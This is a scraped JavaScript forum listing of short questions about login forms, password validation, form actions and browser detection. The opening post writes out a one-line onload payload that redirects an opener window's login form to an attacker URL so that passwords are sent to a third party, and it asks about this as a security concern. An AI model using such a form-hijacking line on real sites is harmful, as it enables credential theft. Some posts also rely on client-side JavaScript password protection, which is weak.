Form Action Password Sniffing?
Jul 20, 2005
Let's say I have a login screen with a lots of advertisement (links).
One of those links is opened in a new window, and there is the following:
<body onload="opener.document.forms 0].action='http://www.hackerz.com/PasswordDatabase.php'">
After clicking the link and reading the advertisement, I go on "logging
in" on the first window. After I submit, the form data, username,
password and all is submitted to a third party..
View 2 Replies
ADVERTISEMENT
Jul 26, 2011
i have created one simple login form with 5 fields namely username,email id,password,retype password and phone no.i have created alert message for each function,so that when there is an error it displays alert message..now i have to replace all alert messages with inline validation(displays errors beside textbox).
<code>
<html>
<head>
[code]....
View 4 Replies
View Related
Jul 28, 2011
below is the code for simple login form having fields username,email id,password,retype password and phone no. i have done inline validation forcheckName() .i am not getting for the other fields can u tell me how to do it..
Code:
<html>
<head>
[code]....
View 6 Replies
View Related
Feb 16, 2009
I have come across a very interesting problem that seems to be impossible to solve. Basically a web application that I am working on relies on a JavaScript function called go to change the input named view to the page name and submit the form. This form's type is post, so no values are included in the actual URL string. There is also another input called action and it's value is view. This is to tell the application that the user would like to view a page. The problem is because of the variables being of method post, page refreshes and back and forwards return errors because the post variables view and action aren't sent with the required data. To somewhat solve this problem I have created a feature that tells the application that if the post value page is empty then to try and get a GET var called page. To insert this var into the go javascript function I simple add this code
document.go.action = document.go.action+"&page="+page;
This line basically adds &page=[page] to the action of the form. The problem is, this code doesn't work because action is also the name of a form element. Referencing document.go.action refers to the input element named action and not to the form's action. Changing the named of the action input value is out of the question (Way to much changing of code, and possible room for error). What can I do to change the action of the form without referencing the input named action. Here is my go form and the JavaScript code:
<form name="go" action"index.php?sid=123" method="post">
<input type="hidden" name="action" value="view" />
<input type="hidden" name="view" value="" />
</form>
[Code]....
View 6 Replies
View Related
Mar 5, 2008
I have a very weired problem (which is not easy to describe.. but I'll do my best):I have a html page with several forms , only one of the got the action="ComputeAndReturn" and the other forms got only name="" tag.the problem is that after i submit the form with the action , and than after a computatioon it returns to the original page, now... if i will submit any of the forms without the action=.they will act as if they were defined action="ComputeAndReturn" (altho they are not!)if they were defined from the first time with action="anything", and than i would submit the form with action="ComputeAndReturn" this problem would not appear (the other forms will keep their action="anything" and would not "imitate" the action= "Compute AndReturn" to them selfs...
any ideas how can i keep my forms without action="" , cause all i need them to do is be submitted to pass the submitted value to other form inside that page.[code]
View 8 Replies
View Related
Jul 23, 2005
I wasn't sure where to post this so I'm sorry if this is the wrong place.
But I would like to know what some of the differences are between
client-side and server-side browser sniffing. I'm aware the client-side
stops certain errors being transmitted so saves on bandwidth and server-side
my catch errors that are missed on the client-side.
View 11 Replies
View Related
Feb 10, 2003
I would simply like to detect Internet Explorer Version 5.0. If they are using Version 5.0, I would like to display a message and link that would take them to an upgrade browser site. Possibly include a paragraph of text and an image as well. Is this difficult to do?
I grabbed this code from somewhere:
//detect IE5.5
if (navigator.appVersion.indexOf("MSIE 5.5")!=-1)
alert("You're using IE5.5!")
If I switch the version numbers around, would I just put the HTML I want to display in place of the alert() function? As you can tell I don't have any idea how to work with JavaScript
Could I include an .html file there or something?
View 5 Replies
View Related
Nov 17, 2003
Does anyone know of a list of browser user agent strings, produced by the navigator object? - navigator.userAgent
Like every other web developer, I'm writing some browser-specific code, but don't have the means to test it on every browser out there. However, if I had access to the user agent strings produced by each browser (or at least the *main* browsers) I could figure it out without the need for actual testing.
View 3 Replies
View Related
Apr 28, 2010
I'm having trouble getting two password boxes to work on the same page, which I created using the JavaScript Kit Encrypted Password Generator [URL].
I've used the code that this generator produces, with some modifications as given by cheesebagpipe [URL]. These changes enable the user to press the keyboard's enter key to submit the password (as an alternative to clicking the submit button), and will also refocus the text box and select the text in it if the user enters the wrong password.
The code works fine on pages with just one box (e.g. [URL]), but what changes are needed to make two work on the same page? (I'm new to web design and clueless when it comes to JavaScript, which I know isn't the most secure method of password protection, but will do for now).
At the moment, on pages with two boxes (e.g. [URL]), neither of the boxes work; this appears in the address bar instead: [URL] ('help!'=whatever has been entered in the text box).
The full code for both boxes is given below.
<div id="passwordBoxes">
<div id="password2">
<form name="password1" onsubmit="submitentry();return false;">
<span class="WhiteLogin">Keyboard classes login</span>
[Code].....
View 6 Replies
View Related
Feb 15, 2010
I want to validate new password with repeat password befor user press submit.
<p align="center">To reset your password, provide your current password</p>
<form id="form1" name="form1" method="post" action="pcq.php">
<table border="0" align="center" class="mytable2" style="margin-left:175px" >
<tr>
[Code].....
View 6 Replies
View Related
May 28, 2011
[URL]how I can get the form to validate it hangs up on password.
View 1 Replies
View Related
Jul 2, 2010
I have a registration form which is processed by using javascript and php. First I show registration.php and data from it is sended with ajax to registration_process.php
<form id="registration">
Name<input type="name" id="name" />
Password<input type="password" id="password" />
</form>
[Code]....
The problem is that is probably not secure way. Is any way to encrypt value of input? For example something like this var name=$('#name').encrypt().val();
View 3 Replies
View Related
Mar 29, 2010
I have a website where i sell items. I need to make it so a customer can go to the site and place a password to purchase a item. Customers sees a item and clicks on "buy now" It can not be a inconvenience where it will prompt for a user/password.
I would like to place a password box, and once a password is entered they will be able to select the "buy now" button. Simple...yes. But i search for 3 hours via the power of google and have yet to find a solution. I want everything to stay on the same page...if possible.
I have seen places like wordpress and joombla do password protect content but i guess it is because the use frames. I would like to do this with just JS and HTML.
View 3 Replies
View Related
Sep 6, 2010
How can I get password length on form in jquery? I get the password with this:
var sifra=$("#input:password").val();
But when I want to check if password is entered and length is more than 6 characters, it
doesn't work:
if(! sifra){
$("#sifra_p").show();
$("#sifra_p").html("Niste unijeli šifru!");
greska=1;
}else{
if(sifra.length < 6){
$("#sifra_p").show();
$("#sifra_p").html("Šifra mora imati bar 6 znakova!");
greska=1;
}else{
$("#sifra_p").hide();
}}
What could be a problem and what could be a solution. This kind of check works fine
for normally inputs (check, select etc).
View 2 Replies
View Related
May 8, 2011
How would you make a password feild and a retype password feild and they have to be the same?
View 15 Replies
View Related
Aug 28, 2008
This is a secure solution for password protection with JavaScript. It works by encrypting the password and the content. Nothing is revealed in the source code, and it cannot be beaten by disabling JavaScript.
The download contains three files:
Protect Content.html lets you generate your own protected content.
Demo.html is a protected document, and as long as it remains unbroken, it's your proof that this software works. You can also use it as a template for your own protected pages.
Demo, with hint.html is another protected document that tells you the password. This is meant to show that the first demo is not a trick or a fake.
View 14 Replies
View Related
Nov 1, 2011
validating the password strength of my form. I am actually looking for a regular expression that could force the users to have at least 2 of the following:
1. Upper and lower case.
2. Numbers
3. Symbols.
View 6 Replies
View Related
Jul 23, 2005
I have a form which needs posting the php script below. (I sent my vars to a
cookie, which I have read correctly). This is the form command used in
hoping to process my information.
<form method="POST" action="scripts/WebContractor.php" name="bizinfo"
id="bizinfo">
Since most of this is new to me, please let me ramble in my thought process.
1. post the vars to a cookie
2. post the form pointing to the php script
3. read the vars in the php script
4. send the info from within the script
When I submit my form, I receive a dialog box stating the downloading this
file can be dangerous. What happens is the php script is downloaded to my
desktop - not executed. Code:
View 3 Replies
View Related
Aug 12, 2011
$(this).attr('type', "password");
(this).attr('type') = 'password'
neither of these work, am I doing something wrong?
Full code:
<div id="register-form">
<input type="text" class="reginput" name="username" defaultVal="username / URL" />
<input type="text" class="reginput" name="password" defaultVal="password"/>
<input type="text" class="reginput" name="e-mail" defaultVal="e-mail"/>
<div class="button-form">Create my free account</div>
</div>
$('.reginput').each( function () {
$(this).val($(this).attr('defaultVal'));
$(this).css({color:'#699fe7'});
});
$('.reginput').focus(function(){
if ( $(this).val() == $(this).attr('defaultVal') ){
$(this).val('');
$(this).css({color:'#2d5891'});
$(this).attr('type', "password");
//if ( $(this).attr('name') == 'password') { $(this).attr('type') = 'password' }
}});
$('.reginput').blur(function(){
if ( $(this).val() == '' ){
$(this).val($(this).attr('defaultVal'));
$(this).css({color:'#699fe7'});
}});
View 2 Replies
View Related
Mar 5, 2006
I've built a simple script to validate the email address and password on a form, the email part of it is working, but the password isn't, any idea what I've done wrong here? Code:
View 3 Replies
View Related
Aug 17, 2004
I have a password field like this:
<input name="site_assword" type="password" class=loginform value="password" size="10" onfocus="this.value=''" onblur="if (this.value=='') {this.value='password'}">
It shows a default value which dissapears when the user clicks on the password field. However, because the input field type is set to 'password', whatever I set as the default value is masked by *
Is there any way around this to make normal text appear but still have the input box masked when they start to type the password?
View 5 Replies
View Related
Jul 20, 2005
I have a form with a name, and action, a post method.
In rare occasion I want the form action to be different to the default
action, so I do this: document.formName.action = "newURL";
This works fine under Mozilla, but does not work under IE5, 5.5 or 6,
it says: Object doesn't support this property or method.
Does anyone know what could be wrong?
View 2 Replies
View Related
Jul 6, 2009
When I run the following code, none of the set's are being done. Most important one for me is the action attribute.
<script type="text/javascript" language="JavaScript">
$().ready(function() {
var url = $("#aggurl").val();
alert(url);
[Code]....
View 1 Replies
View Related
Jun 29, 2010
I have a form with two <button> elements. One button loads the page with the associated form data whilst the other triggers a download. IE6/7 does not handle <button> tags correctly. IE6 will submit all buttons regardless of which you click and uses the button content as the value, instead of the value as the value. IE7 submits just the clicked button, but still submits the content as the value, not the value.
To get around IE's issues with <button> I use JS to manipulate the DOM so hidden input fields are generated with the correct value and the button names are removed so they're not submitted at all.
This works, except in my specific situation for my download button. Because it triggers a download, the page you are on remains, and remains with the manipulated DOM, which means the form doesn't work properly anymore.
I would like to know if there's a trigger of some sort that would allow me to revert the DOM changes when the form is submitted but the page remains. I hope that makes sense. Oh, and there's no need to suggest using <input type="button" /> instead of <button>. That's not a solution.
View 4 Replies
View Related
Mar 8, 2010
i have a css/div box, and i have a login form. what im tryn to do is make it so that when i login, it it takes whats in the action of the form and shows it in the div box. the div box is like one of those cool popup boxes, it's done by using javascript and css.
anyway, the div box works. the login form works. i just haven't been able to figure out how to get it to appear in the div instead of into a new page.
here's my code:
<head><link rel="stylesheet" type="text/css" href="main.css" />
<link rel="stylesheet" type="text/css" href="popup.css" /></head>
<form name="Login" method="post" action="login/check.php">
<table border="0" cellpadding="0" cellspacing="0">
[Code].....
View 7 Replies
View Related
Nov 21, 2010
I am trying to get a form value on an action page using JavaScript to alert the value.
The below doesnt alert anything after I hit the submit button in the one.html page:
one.html
<form action="two.html" method="get" id="myform">
<input type="text" name="city">
<input type="submit">
[Code].....
View 7 Replies
View Related